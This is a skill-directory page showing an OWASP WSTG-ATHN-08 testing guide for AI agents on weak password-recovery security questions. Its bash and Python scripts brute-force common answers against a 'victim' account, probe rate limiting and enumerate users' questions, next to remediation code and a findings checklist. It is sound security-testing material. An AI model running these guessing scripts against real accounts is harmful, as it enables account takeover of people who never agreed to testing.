用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-athn-08命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
| name | wstg-athn-08 |
| description | Testing for Weak Security Question Answer |
| category | authentication |
| owasp_id | WSTG-ATHN-08 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["authentication","login","credentials","mfa","wstg","athn"] |
| tech_stack | [] |
| cwe_ids | ["CWE-287"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-ATHN-08
Testing for Weak Security Question Answer
Security questions are often used as a secondary authentication mechanism for password recovery. This test evaluates whether security questions provide adequate protection or are vulnerable to guessing, research, or social engineering attacks. Weak security questions can allow attackers to bypass authentication entirely by providing easily guessable or publicly available answers.
| Category | Risk Level |
|---|---|
| Mother's maiden name | High (public records) |
| Pet's name | High (social media) |
| School name | High (LinkedIn) |
| City of birth | High (public) |
| Favorite color | High (limited options) |
| Custom questions | Low-Medium |
# Get available security questions
curl -s "https://target.com/api/security-questions" | jq '.'
# During registration
curl -s "https://target.com/register" | \
grep -iE "security.question|select.*question" -A 50
# During password reset
curl -s "https://target.com/forgot-password" | \
grep -iE "security.question|select.*question" -A 50
# Document all available questions
# Evaluate each for:
# 1. Public availability of answer
# 2. Limited answer set
# 3. Researchability
# 4. Social engineering risk
# Common weak questions to look for:
# - What is your mother's maiden name?
# - What is your pet's name?
# - What city were you born in?
# - What is your favorite color?
# - What is your favorite movie?
# - What high school did you attend?
# - What is your favorite sports team?
#!/bin/bash
# Test common answers for typical questions
# Favorite color
colors=("blue" "red" "green" "purple" "black" "white" "pink" "yellow")
for color in "${colors[@]}"; do
response=$(curl -s -X POST "https://target.com/api/verify-security-answer" \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"answer\":\"$color\"}")
if echo "$response" | grep -qi "success\|correct\|token"; then
echo "[SUCCESS] Answer found: $color"
break
fi
done
# Pet names
pets=("max" "buddy" "charlie" "lucy" "bella" "daisy" "rocky" "jack")
for pet in "${pets[@]}"; do
response=$(curl -s -X POST "https://target.com/api/verify-security-answer" \
-H "Content-Type: application/json" \
-d "{\"email\":\"victim@example.com\",\"answer\":\"$pet\"}")
if echo "$response" | grep -qi "success"; then
echo "[SUCCESS] Pet name: $pet"
break
fi
done
#!/bin/bash
# Test if there's rate limiting on answer attempts
for i in {1..50}; do
response=$(curl -s -X POST "https://target.com/api/verify-security-answer" \
-H "Content-Type: application/json" \
-d '{"email":"test@example.com","answer":"wrong'$i'"}' \
-w "\n%{http_code}")
status=$(echo "$response" | tail -1)
if [ "$status" == "429" ]; then
echo "Rate limited after $i attempts"
break
fi
echo "Attempt $i: $status"
done
if [ "$i" -eq 50 ]; then
echo "[VULN] No rate limiting - 50 attempts successful"
fi
# Test minimum answer length
answers=("a" "ab" "abc" "test" "longer answer")
for answer in "${answers[@]}"; do
response=$(curl -s -X POST "https://target.com/api/set-security-question" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"question_id\":1,\"answer\":\"$answer\"}")
echo "Answer '$answer' (len ${#answer}): $response" | head -c 100
echo ""
done
# Test case sensitivity
curl -s -X POST "https://target.com/api/set-security-question" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"question_id":1,"answer":"MyAnswer"}'
# Verify with different case
curl -s -X POST "https://target.com/api/verify-security-answer" \
-H "Content-Type: application/json" \
-d '{"email":"test@example.com","answer":"myanswer"}'
# Check if multiple questions are required
curl -s "https://target.com/forgot-password?email=test@example.com" | \
grep -c "question"
# If only one question, test the process
curl -s -X POST "https://target.com/api/forgot-password" \
-H "Content-Type: application/json" \
-d '{"email":"test@example.com"}'
# Check response for number of questions
# Check if questions are revealed for any user
curl -s "https://target.com/api/security-question?email=victim@example.com"
# This reveals what question to research for the target
# Should require some authentication first
| Tool | Description | Usage |
|---|---|---|
| Burp Intruder | Automated guessing | Wordlist attacks |
| Custom scripts | Targeted attacks | Common answers |
| OSINT tools | Research | Social media mining |
| Source | Information |
|---|---|
| Social media | Pets, favorites |
| Schools, employers | |
| Public records | Birth city, maiden names |
#!/usr/bin/env python3
import requests
class SecurityQuestionTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
# Common answers for weak questions
COMMON_ANSWERS = {
"color": ["blue", "red", "green", "black", "purple", "pink", "white", "yellow"],
"pet": ["max", "buddy", "charlie", "lucy", "bella", "daisy", "rocky", "jack", "bear", "duke"],
"city": ["new york", "los angeles", "chicago", "houston", "philadelphia", "phoenix", "san diego"],
"team": ["yankees", "cowboys", "lakers", "patriots", "giants", "bears", "packers"],
"movie": ["star wars", "godfather", "avatar", "titanic", "matrix", "inception"],
"food": ["pizza", "steak", "pasta", "sushi", "tacos", "burgers", "chicken"],
"car": ["ford", "toyota", "honda", "bmw", "mercedes", "chevrolet", "tesla"],
}
def get_questions(self, email=None):
"""Get available security questions"""
url = f"{self.base_url}/api/security-questions"
if email:
url += f"?email={email}"
response = self.session.get(url)
return response.json() if response.status_code == 200 else None
def analyze_question(self, question):
"""Analyze question strength"""
question_lower = question.lower()
weakness = {
"question": question,
"risk": "unknown",
"issues": []
}
# Check for weak question types
weak_patterns = {
"maiden name": ("High", "Public records searchable"),
"pet": ("High", "Often on social media"),
"born": ("High", "Public records"),
"school": ("High", "LinkedIn/Facebook"),
"color": ("High", "Very limited options"),
"team": ("High", "Social media posts"),
"first car": ("Medium", "May be shared publicly"),
"best friend": ("Medium", "Social media"),
"movie": ("Medium", "Limited popular options"),
}
for pattern, (risk, reason) in weak_patterns.items():
if pattern in question_lower:
weakness["risk"] = risk
weakness["issues"].append(reason)
if not weakness["issues"]:
weakness["risk"] = "Unknown"
weakness["issues"].append("Requires manual analysis")
return weakness
def brute_force_answer(self, email, answer_type, max_attempts=50):
"""Attempt to guess security answer"""
answers = self.COMMON_ANSWERS.get(answer_type, [])
for i, answer in enumerate(answers[:max_attempts]):
response = self.session.post(
f"{self.base_url}/api/verify-security-answer",
json={"email": email, "answer": answer}
)
if response.status_code == 429:
return {"status": "rate_limited", "attempts": i + 1}
if "success" in response.text.lower() or "token" in response.text.lower():
return {"status": "success", "answer": answer, "attempts": i + 1}
return {"status": "failed", "attempts": len(answers)}
def test_rate_limiting(self, email, num_attempts=100):
"""Test rate limiting on answer attempts"""
for i in range(num_attempts):
response = self.session.post(
f"{self.base_url}/api/verify-security-answer",
json={"email": email, "answer": f"wrong{i}"}
)
if response.status_code == 429:
return {"rate_limited": True, "after_attempts": i + 1}
return {"rate_limited": False, "attempts_tested": num_attempts}
def generate_report(self, questions):
"""Generate security question analysis report"""
print("\n=== SECURITY QUESTION ANALYSIS ===\n")
if not questions:
print("No questions retrieved")
return
for q in questions:
analysis = self.analyze_question(q.get("question", q))
print(f"Question: {analysis['question']}")
print(f" Risk Level: {analysis['risk']}")
for issue in analysis['issues']:
print(f" Issue: {issue}")
print()
# Usage
tester = SecurityQuestionTester("https://target.com")
questions = tester.get_questions()
tester.generate_report(questions)
print(tester.test_rate_limiting("test@example.com"))
# Best option: Don't use security questions at all
# Use alternative recovery methods:
def forgot_password(email):
"""Secure password recovery without security questions"""
user = User.query.filter_by(email=email).first()
if user:
# Generate secure token
token = generate_secure_token()
# Store token with expiration
PasswordReset.create(
user_id=user.id,
token=hash_token(token),
expires_at=datetime.utcnow() + timedelta(hours=1)
)
# Send email with reset link
send_password_reset_email(user.email, token)
# Always return same response to prevent enumeration
return {"message": "If the email exists, a reset link has been sent"}
class SecureSecurityQuestions:
MINIMUM_ANSWER_LENGTH = 4
MAX_ATTEMPTS = 3
LOCKOUT_DURATION = 3600 # 1 hour
def __init__(self, redis_client):
self.redis = redis_client
def validate_answer_format(self, answer):
"""Validate answer meets minimum requirements"""
if len(answer) < self.MINIMUM_ANSWER_LENGTH:
return False, f"Answer must be at least {self.MINIMUM_ANSWER_LENGTH} characters"
return True, None
def verify_answer(self, user_id, provided_answer):
"""Verify answer with rate limiting"""
attempt_key = f"security_question_attempts:{user_id}"
# Check lockout
if self.redis.exists(f"security_question_locked:{user_id}"):
return False, "Account temporarily locked"
# Increment attempts
attempts = self.redis.incr(attempt_key)
if attempts == 1:
self.redis.expire(attempt_key, 3600)
if attempts > self.MAX_ATTEMPTS:
# Lock account
self.redis.setex(f"security_question_locked:{user_id}", self.LOCKOUT_DURATION, "1")
return False, "Too many attempts. Account locked."
# Get stored answer
user = User.query.get(user_id)
# Normalize comparison (case-insensitive, trim whitespace)
stored_normalized = user.security_answer.lower().strip()
provided_normalized = provided_answer.lower().strip()
if stored_normalized == provided_normalized:
# Clear attempts on success
self.redis.delete(attempt_key)
return True, None
return False, f"Incorrect answer. {self.MAX_ATTEMPTS - attempts} attempts remaining"
def require_multiple_questions(self, user_id):
"""Require multiple questions to be answered"""
# Implement 2+ questions for password reset
pass
# Dynamic KBA based on user history/data
class DynamicKBA:
def generate_questions(self, user):
"""Generate questions based on user's data"""
questions = []
# Transaction-based questions
if user.transactions:
recent = random.choice(user.transactions[-10:])
questions.append({
"question": "What was the amount of your transaction on [date]?",
"answer": str(recent.amount)
})
# Account activity questions
if user.devices:
device = random.choice(user.devices)
questions.append({
"question": "What type of device did you last login from?",
"answer": device.type
})
return random.sample(questions, min(3, len(questions)))
| Finding | CVSS | Severity |
|---|---|---|
| Single easily guessable question | 8.8 | High |
| No rate limiting on attempts | 7.5 | High |
| Questions revealed without auth | 5.3 | Medium |
| Very short answers allowed | 5.3 | Medium |
| Only one question required | 6.5 | Medium |
| CWE ID | Title | Description |
|---|---|---|
| CWE-640 | Weak Password Recovery Mechanism for Forgotten Password | Security questions |
| CWE-307 | Improper Restriction of Excessive Authentication Attempts | No rate limiting |
| CWE-521 | Weak Password Requirements | Weak answer policy |
[ ] Available questions enumerated
[ ] Question strength analyzed
[ ] Rate limiting tested
[ ] Answer format requirements tested
[ ] Case sensitivity tested
[ ] Common answers tested
[ ] Question disclosure tested
[ ] Multiple questions requirement checked
[ ] OSINT research potential evaluated
[ ] Lockout mechanism tested
[ ] Findings documented
[ ] Remediation recommendations provided
基于 SOC 职业分类